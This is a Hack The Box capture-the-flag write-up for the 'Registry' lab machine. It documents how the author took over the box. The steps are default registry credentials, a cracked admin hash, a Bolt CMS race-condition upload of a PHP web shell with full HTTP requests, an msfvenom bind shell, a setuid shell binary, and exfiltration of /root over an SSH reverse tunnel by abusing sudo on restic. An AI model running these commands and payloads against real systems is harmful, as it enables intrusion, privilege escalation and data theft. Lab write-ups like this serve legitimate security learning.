HTB - Linux Registry

HTB - Linux Registry

An exposed Docker Registry is available and we can fetch Docker Image from it. Pulling one image let us discover some history commands files allowing us to find the admin password for the webapp. Once logged as admin, thanks to a race condition I was able to upload a reverse shell as www-data. As www-data a sudoers entry gived us the permission to execute the restic backup command as root. We could now backup the /root directory in our own machine.

nobody - user

nmap time !

$ nmap -sS -sV -sC -p- -T4 -vvv -oN nmap.txt 10.10.10.159

Nmap scan report for docker.registry.htb (10.10.10.159)
Host is up, received echo-reply ttl 63 (0.016s latency).
Scanned at 2020-01-20 11:23:48 CET for 25s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCZtxPox0F/6ZQbPbgwP9t13ZX+DegufV+sVoqTGWfuE2/jQwVLR+TCLJM4EDg4UJol4OHl0ATQBkPM7CSi1DS3oZgNlaASXQoZFzHUN4KF1/B6uShfMcszORHOBSRZAMe5nuesre2oJtrqhyO1VS2TMOitFLmKEaDImHy7EXe8qnaK8CrVFAxdUOG8iQFEiZUt8JZJ6CPgfIu00t4JpIl9l4aOFEZT6H7xf7K74ov2KNyP6WCoOtdDf7Rhfwcfo6dogHxssH6O/d+FgN6KJ8q2gJjUZVYYjZHTfGCPRukmSDYQNglQkvzuOy3umUTwNt5NdjYBT+vemcOIaDPm0SX
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDFZI3tSfqp1WJF1TjoPa3J6j94yzXZMtFj92P8HcBUXCosmhsTsRa5rBvt20Es/qTp2otqYz3R3jf9O0OGC/tc=
|   256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINNAMP4YFJGAx3ip1MPEsDuXUhgHXOIxrVTUCOxqJeRr
80/tcp  open  http     syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
443/tcp open  ssl/http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after:  2029-05-03T21:14:35
| MD5:   0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
| SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
| -----BEGIN CERTIFICATE-----
| MIICrTCCAZUCCQDjC7Es6pyC3TANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAhS
| ZWdpc3RyeTAeFw0xOTA1MDYyMTE0MzVaFw0yOTA1MDMyMTE0MzVaMB4xHDAaBgNV
| BAMME2RvY2tlci5yZWdpc3RyeS5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
| ggEKAoIBAQDAQd6mLhCheVIu0IOf2QIXH4UZGnzIrcQgDfTelpc3E4QxH0nq+KPg
| 7gsPuMz/WMnmZUh3dLKLXb7hqJ2Wk8vQM6tt+PbKna/D6WKXqGM3JnSLKW1YOkIu
| AuQenMOxJxh41IA0+3FqdlEdtaOV8sP+bgFB/uG2NDfPOLciJMop+d5pwpcxro8l
| egZASYNM3AbZjWAotmMqHwjGwZwqqxXxn61DixNDN2GWLQHO7QPUVUjF+Npso3zN
| ZLUJ1vkAtl6kFlmLTJgjlTUuE78udKD5r/NLqHNxxxObaSFXrmm2maDDoAkhobOt
| ljpa/U/fCv8g03KToaXVZYb6BfFEP5FBAgMBAAEwDQYJKoZIhvcNAQELBQADggEB
| AF3zSdj6GB3UYb431GRyTe32Th3QgpbXsQXA2qaLjI0n3qOF5PYnADgKsDzTxtDU
| z4e5vLz0Y3NhMKobft+vzBt2GbJIzo8DbmDBD3z1WQU+GLTnXyUAPF9J6fhtUgKm
| hoq1S8YsKRt/NMJwZMk3GiIw1c7KEN3/9XqJ9lfIyeXqVc6XBvuiZ+ssjDId0RZO
| 7eWWELxItMHPVScwWpOA7B4INPM6USKGy7hUTFcPJZB7+ElTFO2h0c4MwFQcSqKW
| BUG+oUPpMOoO99ZRnX8D5/H3dvbuBsuqKgRrPmQnMehoWs7pNRUDudUnnLfGEJHh
| PEyspHOCbg1C6a0gI1xo0c0=
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So we have a webserver on 80/443 and a hostname docker.registry.htb. Running nginx 1.14.0 on Ubuntu.

When connecting to the webserver in http or https it seems blank. Let’s see if it really is with files and folder enumeration.

$ dirsearch -u http://docker.registry.htb/ -e php -w /usr/share/wordlists/seclists-git/Discovery/Web-Content/common.txt

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 4652

Error Log: /home/lga/.dirsearch/logs/errors-20-01-22_14-56-55.log

Target: http://docker.registry.htb/

[14:56:55] Starting: 
[14:57:07] 301 -   39B  - /v2  ->  /v2/

Task Completed

$ http https://docker.registry.htb/v2/ --verify=no     

HTTP/1.1 401 Unauthorized
Connection: keep-alive
Content-Length: 87
Content-Type: application/json; charset=utf-8
Date: Wed, 22 Jan 2020 13:59:17 GMT
Docker-Distribution-Api-Version: registry/2.0
Server: nginx/1.14.0 (Ubuntu)
Www-Authenticate: Basic realm="Registry"
X-Content-Type-Options: nosniff

{
    "errors": [
        {
            "code": "UNAUTHORIZED",
            "detail": null,
            "message": "authentication required"
        }
    ]
}

Using the wordlist common.txt is not a bad idea when the default list failed. It found one path : /v2/ which look like an entry-point for the docker registry API. Unfortunately it’s basic auth protected, fortunately I succeed with first attempt : admin:admin.

Let’s grab some doc :

$ http https://docker.registry.htb/v2/_catalog --verify=no --auth admin:admin

HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 32
Content-Type: application/json; charset=utf-8
Date: Wed, 22 Jan 2020 14:02:23 GMT
Docker-Distribution-Api-Version: registry/2.0
Server: nginx/1.14.0 (Ubuntu)
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

{
    "repositories": [
        "bolt-image"
    ]
}

Nice let’s use the mentioned tool : docker_fetch without forgetting to add auth=("admin":"admin") to each get request.

Once downloaded, uncompressing all

for i in $(ls); do tar xvzf $i; rm $i; done
$ ls          
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

$ ls -Rla root
root:
total 28
drwx------  3 lga lga 4096 24 avril  2019 .
drwxr-xr-x 21 lga lga 4096 20 janv. 14:58 ..
-rw-------  1 lga lga 2079 25 mai    2019 .bash_history
-rw-r--r--  1 lga lga 3106  9 avril  2018 .bashrc
-rw-r--r--  1 lga lga  148 17 août   2015 .profile
drwxr-xr-x  2 lga lga 4096 25 mai    2019 .ssh
-rw-------  1 lga lga 1061 25 mai    2019 .viminfo

root/.ssh:
total 24
drwxr-xr-x 2 lga lga 4096 25 mai    2019 .
drwx------ 3 lga lga 4096 24 avril  2019 ..
-rw-r--r-- 1 lga lga   60 24 mai    2019 config
-rw------- 1 lga lga 3326 24 mai    2019 id_rsa
-rw-r--r-- 1 lga lga  743 24 mai    2019 id_rsa.pub
-rw-r--r-- 1 lga lga  444 25 mai    2019 known_hosts

the id_rsa is a password protected, running john on it gave nothing so keep going. Looking to .bash_history gave something interesting.

s aux
ps aux
apt update
apt install git
apt install php
php --ini |grep Loaded
l /etc/php/
l /etc/php/7.2/
apt install nginx
apt install php-fpm
cd /var/www/html/
ls -la
rm -rf index.html 
mv index.nginx-debian.html index.html
l
git clone https://github.com/bolt/bolt.git
l
ls -la
cd bolt/
ls -la
useradd -m bolt
cd /home/
l
ls -la
userdel bolt
l
rm -rf bolt/
cd /root/
l
ls -la
mkdir .ssh
cd .ssh/
l
ls -la
vi config
edit config
apt install vim
vi config
ssh-keygen -t rsa -b 4096 -C "bolt@registry.htb"
l
ls -la
cd ..
ls -la
ssh-add /root/.ssh/id_rsa
eval `ssh-agent -s`
ssh-add /root/.ssh/id_rsa
ps aux | grep ssh
l /etc/profile.d/
l /etc/profile.d/01-locale-fix.sh 
cat /etc/profile.d/01-locale-fix.sh 
cat /etc/profile
l /etc/bash.bashrc
cat /etc/bash.bashrc
l
wd
pwd
ls -la
cat .profile 
cat .bashrc 
l
vi /etc/profile.d/01-ssh.sh
apt install expect
which expect
vi /etc/profile.d/01-ssh.sh
l /etc/profile.d/
ls -la /etc/profile.d/
sh /etc/profile.d/01-ssh.sh 
which spawn
apt install spawn
chmod +x /etc/profile.d/01-ssh.sh 
/etc/profile.d/01-ssh.sh 
cat /etc/profile.d/01-ssh.sh 
ps aux
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh 
vi /etc/profile.d/01-ssh.sh
/etc/profile.d/01-ssh.sh 
ps aux
ssh registry
ping registry.htb
apt install ping
apt install iputils-ping
ping registry.htb
cat .ssh/id_rsa.pub 
ssh registry
cd /etc/profile.d/
l
cp 01-ssh.sh 02-ssh.sh 
vi 01-ssh.sh 
ssh 01-ssh.sh 
chmod +x 01-
chmod +x 01-ssh.sh 
./01-ssh.sh 
ps aux
kill 11162 11241 11365
ssh registry
cat /etc/profile
l
cd /root/
ls -la
cat .profile 
vi .profile 
ps aux
cat /etc/profile.d/01-ssh.sh 
vi .profile 
eval `ssh-agent -s`
vi .profile 
ps aux
systemctl restart nginx.service
/etc/init.d/nginx start
/etc/init.d/php7.2-fpm start
ps aux
l
ls -la
cd /var/www/html/
l
vi sync.sh
chmod +x sync.sh 
./sync.sh 
apt install rsync
./sync.sh 
l
/etc/profile.d/01-ssh.sh 
/etc/profile.d/02-ssh.sh 
./sync.sh 
l
ls -la
rm -rf bolt/
./sync.sh 
l
ls -la
cd bolt/
ls -la
cd ..
l
rm -rf bolt
l
ls -la
cat sync.sh 
ps aux
kill 11412 11531
ps aux
cd /
ls -la
cd /home/
l 
ls -la
exit
exit

I tried to download some files from the webserver with this information but they were all removed. However /etc/profile.d/01-ssh.sh is interesting.

#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interac

so we have the private key password : GkOcz221Ftb3ugog. ssh into root is of course not possible the key is actually used for another user : bolt (you can figure it how by following the bash_history). We can now ssh into his account and get the user.txt : ytc0ytdmnzywnzgxngi0zte0otm3ywzi.

user - root

bolt - www-data

sudo -l gave nothing for the bolt user however thanks to the shell it’s was easy to go in /var/www/html

bolt@bolt:~$ ls /var/www/html/
backup.php  bolt  index.html  index.nginx-debian.html  install    restall

bolt@bolt:~$ cat /var/www/html/backup.php 
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");

So we can use the restic command as root but only www-data can performs this. We need to become this user.

Looking at the other directory we see the bolt folder. It contains a webapp from the Bolt CMS. By curiosity I browsed through this directory and found some important files

bolt@bolt:/var/www/html/bolt/app$ cd database/
bolt@bolt:/var/www/html/bolt/app/database$ ls
bolt.db
bolt@bolt:/var/www/html/bolt/app/database$ file bolt.db 
bolt.db: SQLite 3.x database, last written using SQLite version 3022000

Once fetched we can browse it with sqlite3.

sqlite> .tables
bolt_authtoken    bolt_field_value  bolt_pages        bolt_users      
bolt_blocks       bolt_homepage     bolt_relations  
bolt_cron         bolt_log_change   bolt_showcases  
bolt_entries      bolt_log_system   bolt_taxonomy   

sqlite> select * from bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-10-17 14:34:52|10.10.14.2|Admin|["files://shell.php"]|1||||0||["root","everyone"]

So we have a bcrypt hash : 2y$10e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK for the admin user of this webapp. You can use hashID to identify the type of hash used and it will also display the john format to use.

./hashid.py -j
$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK

Analyzing '$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK'
[+] Blowfish(OpenBSD) [JtR Format: bcrypt]
[+] Woltlab Burning Board 4.x 
[+] bcrypt [JtR Format: bcrypt]

Thanks to john we cracked it with rockyou : admin:strawberry.

We can login in the webapp at : http://registry.htb/bolt/bolt/login, yes this page was a bit tricky to find. Once logged you see the version is 3.6.4. You are admin so you can modify the configuration file through the panel.

My idea was to allow php in the allowed extension list but we had this comment :

#These types are never allowed: sh, asp, cgi, php, php3, ph3, php4, ph4, php5, ph5, phtm, phtml
accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg, png, ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3, ogg, wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg]

It seems not possible I event tried but nop nop.

So I checked the associated vulnerabilities and found an issue in their Github fixed in the 3.6.5 https://github.com/bolt/bolt/pull/7745

If you upload a .txt file you can rename it as .php later. However the creator of the application just removed the endpoint in the API for no reason so we can’t rename the files once uploaded ..

After begging for help someone told me that php upload was possible when modifying the configuration as I wanted to do before but we have to be very quick, kind of race condition.

So here are my 3 burp requests I had to spam very quickly :

  1. modify the configuration file to allow php upload.
POST /bolt/bolt/file/edit/config/config.yml?returnto=ajax HTTP/1.1
Host: registry.htb
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 25568
Origin: http://registry.htb
Connection: close
Referer: http://registry.htb/bolt/bolt/file/edit/config/config.yml
Cookie: bolt_session_d5575a759f2eb78cbf8e75d8017c193b=007e56c8946cc9850df0edf362; bolt_authtoken_d5575a759f2eb78cbf8e75d8017c193b=1aed2cd17bb8dc6a986368210b1fbbbc8c5917811cc939d78201b0efb6d0f427

[modifified config file with .php inside]
  1. Upload a php file
POST /bolt/bolt/files HTTP/1.1
Host: registry.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------299325035489196855405473160
Content-Length: 562
Origin: http://registry.htb
Connection: close
Referer: http://registry.htb/bolt/bolt/files
Cookie: bolt_session_d5575a759f2eb78cbf8e75d8017c193b=007e56c8946cc9850df0edf362; bolt_authtoken_d5575a759f2eb78cbf8e75d8017c193b=1aed2cd17bb8dc6a986368210b1fbbbc8c5917811cc939d78201b0efb6d0f427
Upgrade-Insecure-Requests: 1

-----------------------------299325035489196855405473160
Content-Disposition: form-data; name="file_upload[select][]"; filename="d.php"
Content-Type: application/x-php

<?php echo system("/tmp/bind.elf"); ?>

-----------------------------299325035489196855405473160
Content-Disposition: form-data; name="file_upload[upload]"


-----------------------------299325035489196855405473160
Content-Disposition: form-data; name="file_upload[_token]"

jhytVZWc89XTLUu86YJGDG7TG7HmZ3ECePUhFlTfado
-----------------------------299325035489196855405473160--
  1. Execute the php file
GET /bolt/files/d.php HTTP/1.1
Host: registry.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: bolt_session_d5575a759f2eb78cbf8e75d8017c193b=007e56c8946cc9850df0edf362; bolt_authtoken_d5575a759f2eb78cbf8e75d8017c193b=1aed2cd17bb8dc6a986368210b1fbbbc8c5917811cc939d78201b0efb6d0f427
Upgrade-Insecure-Requests: 1

They also told me to use a bind shell and not a reverse one.

Wondering why I tried to establish a connexion to my machine from the victim and saw that no tcp connection was received only icmp worked. So I checked iptables configuration :

cat /etc/iptables.conf 
# Generated by iptables-save v1.6.1 on Thu Oct 17 10:06:56 2019
[...]
-A OUTPUT -d 10.0.0.0/8 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j DROP
-A OUTPUT -d 10.0.0.0/8 -p udp -j DROP
[...]

As the SYN flag and udp protocol are not allowed we can’t fetch other machine, we can only receive connections. So I used msfvenom to create a bind shell.

msfvenom -p linux/x64/shell_bind_tcp RHOST=10.10.14.29 LPORT=4446 -f elf > bind.elf

Having the bolt user access I could upload this file in /tmp and chmod +x it. I also compiled the following file and uploaded in tmp.

#include <stdio.h>
#include <unistd.h>

void main() {
  setregid(getegid(), getegid());
  setreuid(geteuid(), geteuid());
  execve("/bin/bash", 0, 0);
  return;
}

You have to spam the 3 http requests in order to have a chance the race condition worked.

$ rlwrap nc registry.htb 4446

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cd /tmp
$ cp sh shw
$ chmod +s shw

And on the bolt user ssh terminal. This works because www-data set is setuid bit to this binary, this will allow everybody to execute this binary as www-data and not as the user which execute it. It’s helpful, we just have to ssh as bolt and execute this binary instead of using the race condition.

bolt@bolt:/tmp$ ./shw
www-data@bolt:/tmp$

www-data - root

We are now www-data we can verify we are allowed to execute restic command as root.

$ www-data@bolt:/tmp$ sudo -l
Matching Defaults entries for www-data on bolt:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt:
    (root) NOPASSWD: /usr/bin/restic backup -r rest*

So we can run /usr/bin/restic backup -r rest* exactly.

Let’s RTFM :

It’s pretty simple, we create a dir which is a kind of repo with the restic init --repot /path/to/repo command and we set a password.

We can backup file with the command restic backup -r repo /dir/to/backup.

We can get information about a repo with restic snapshots -r repo

We can restore the backup later with restic restore -r repo id --target /path/to/restore

In the sudo command we see that we have to use rest* keyword. If the doc rest can mean we have to use a repo on another machine through the http protocol like this : sudo restic backup -r rest:http://backup.registry.htb/bolt bolt. And as we can’t install a rest server and we can’t connect to our machine as we can’t use the rest protocol with a remote repo.

But we can create a repo named resta and we don’t anymore have to use http. So let’s do it.

www-data@bolt:/tmp$ mkdir resta
www-data@bolt:/tmp$ restic init --repo resta/
enter password for new repository: 
enter password again: 
created restic repository fd1ec168c7 at resta/

Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
www-data@bolt:/tmp$
www-data@bolt:/tmp$ sudo restic backup -r resta /root/
enter password for repository: 
password is correct
scan [/root]
scanned 10 directories, 14 files in 0:00
[0:00] 100.00%  28.066 KiB / 28.066 KiB  24 / 24 items  0 errors  ETA 0:00 
duration: 0:00
snapshot db5b52e7 saved
www-data@bolt:/tmp$

We have now have made a backup of /root in our repo in /tmp/resta. Let’s see his id to restore it in another directory.

www-data@bolt:/tmp$ restic snapshots -r resta
enter password for repository: 
password is correct
unable to open cache: unable to locate cache directory (XDG_CACHE_HOME and HOME unset)
Load(<sn
apshot/db5b52e722>, 0, 0) returned error, retrying after 460.15587ms: open resta/snapshots/db5b52e7222b035971c4d4e05ae6bbbfb2da4e60564151cdc0713a4587a99b73: permission denied

www-data@bolt:/tmp$ cd resta/
www-data@bolt:/tmp/resta$ ls
config    data  index  keys  locks  snapshots
www-data@bolt:/tmp/resta$ cd index/
www-data@bolt:/tmp/resta/index$ ls -l
total 4
-rw------- 1 root root 2627 Jan 23 09:13 a2a7d68776a745c03959d4fe405221d0b6589530118aef78e8e8404ea7e67a65
www-data@bolt:/tmp/resta/index$ 

This doesn’t look good. We don’t have the permission to read it as we are not root. And we can’t use the sudo command as the backup option is specified. Look like we are stuck.

Remembering the iptables configuration the initialization of tcp connections is only forbidden for 10.0.0.0/8 but not for 127.0.0.1. We could use SSH reverse remote port forwarding to open a port of the victim machine which will redirect the http connection to our machine on another port through the already initialized ssh tunnel.

So first we have to install rest-server and our machine. I will be using docker image.

$ mkdir data
$ restic init --repo data
$ sudo docker run -p 8000:8000  -e DISABLE_AUTHENTICATION=true -v ~/Projets/HTB/registry/data:/data --name rest_server restic/rest-server
rest-server 0.9.7 compiled with go1.10 on linux/amd64
Data directory: /data
Authentication disabled
Private repositories disabled
Starting server on :8000

In another terminal we enable the port forwarding.

ssh bolt@docker.registry.htb -N -i root_id_rsa -R 127.0.0.1:7000:127.0.0.1:8000

So it will open port 7000 in the registry.htb machine which will redirect all traffic to my machine on port 8000 were my rest server is listening.

ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_host:port

Then we just have to backup from the www-data shell.

www-data@bolt:/tmp/resta/index$ sudo restic backup -r rest:http://127.0.0.1:7000/ /root/

enter password for repository: 
password is correct
scan [/root]
scanned 10 directories, 14 files in 0:00
[0:00] 100.00%  28.066 KiB / 28.066 KiB  24 / 24 items  0 errors  ETA 0:00 
duration: 0:00
snapshot f1872ac4 saved

On our machine we just have to restore the backup to an other directory, but as the permission are kept we need to do it as root, but as we are root on our own machine it’s izi pizy.

$ sudo restic snapshots -r data
enter password for repository: 
repository 3dd00139 opened successfully, password is correct
created new cache in /root/.cache/restic
ID        Time                 Host        Tags        Paths
------------------------------------------------------------
f1872ac4  2020-01-23 10:32:11  bolt                    /root
------------------------------------------------------------
1 snapshot

$ sudo restic restore -r data f1872ac4 --target .
enter password for repository: 
repository 3dd00139 opened successfully, password is correct
restoring <Snapshot f1872ac4 of [/root] at 2020-01-23 09:32:11.670954131 +0000 UTC by root@bolt> to .


$ sudo chown switch:switch -R root
$  cat root/root.txt         
ntrkzgnkotaxyju0ntrinda4yzbkztgw

It could have be a nice box but removing the endpoint was a shitty idea. I lost too much time ..